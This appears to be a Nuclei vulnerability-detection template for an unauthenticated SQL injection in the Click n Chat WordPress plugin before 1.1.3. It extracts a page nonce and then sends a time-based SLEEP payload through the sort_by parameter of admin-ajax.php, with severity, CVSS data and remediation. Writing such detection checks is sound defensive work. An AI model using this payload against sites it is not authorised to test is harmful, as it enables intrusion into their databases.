Description
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
id: CVE-2026-92998
info:
name: Click n Chat < 1.1.3 - Unauthenticated SQL Injection
author: HaroonArshad-53
severity: high
description: |
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.
remediation: |
Upgrade to version 1.1.3 or later.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-92998
- https://nvd.nist.gov/vuln/detail/CVE-2026-92998
- https://wordpress.org/plugins/click-n-chat/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-92998
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: click-n-chat
product: click-n-chat
tags: cve,cve2026,sqli,wordpress,wp-plugin,click-n-chat,time-based-sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "click_n_chat_ajax_object")'
condition: and
internal: true
extractors:
- type: regex
name: nonce
internal: true
part: body
group: 1
regex:
- '"nonce"\s*:\s*"([0-9a-f]+)"'
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=click_n_chat_update_lead_list_action&security={{nonce}}&page=1&sort_by=%28CASE+WHEN+%281%3D1%29+THEN+SLEEP%283%29+ELSE+0+END%29&sort_order=ASC&search%5Bname%5D=&search%5Bemail%5D=&search%5Bphone%5D=&search%5Bdate%5D=
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration >= 3'
- 'contains(body, "data-colname")'
condition: and
# digest: 4b0a004830460221008673794653484871a3ff6264847cf0f65e265c1c5c3162871445e551c53e707e022100d57b3657dceb6ca358bcdef60b54fe51f5badf2381e1e3d851dcb04660244739:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.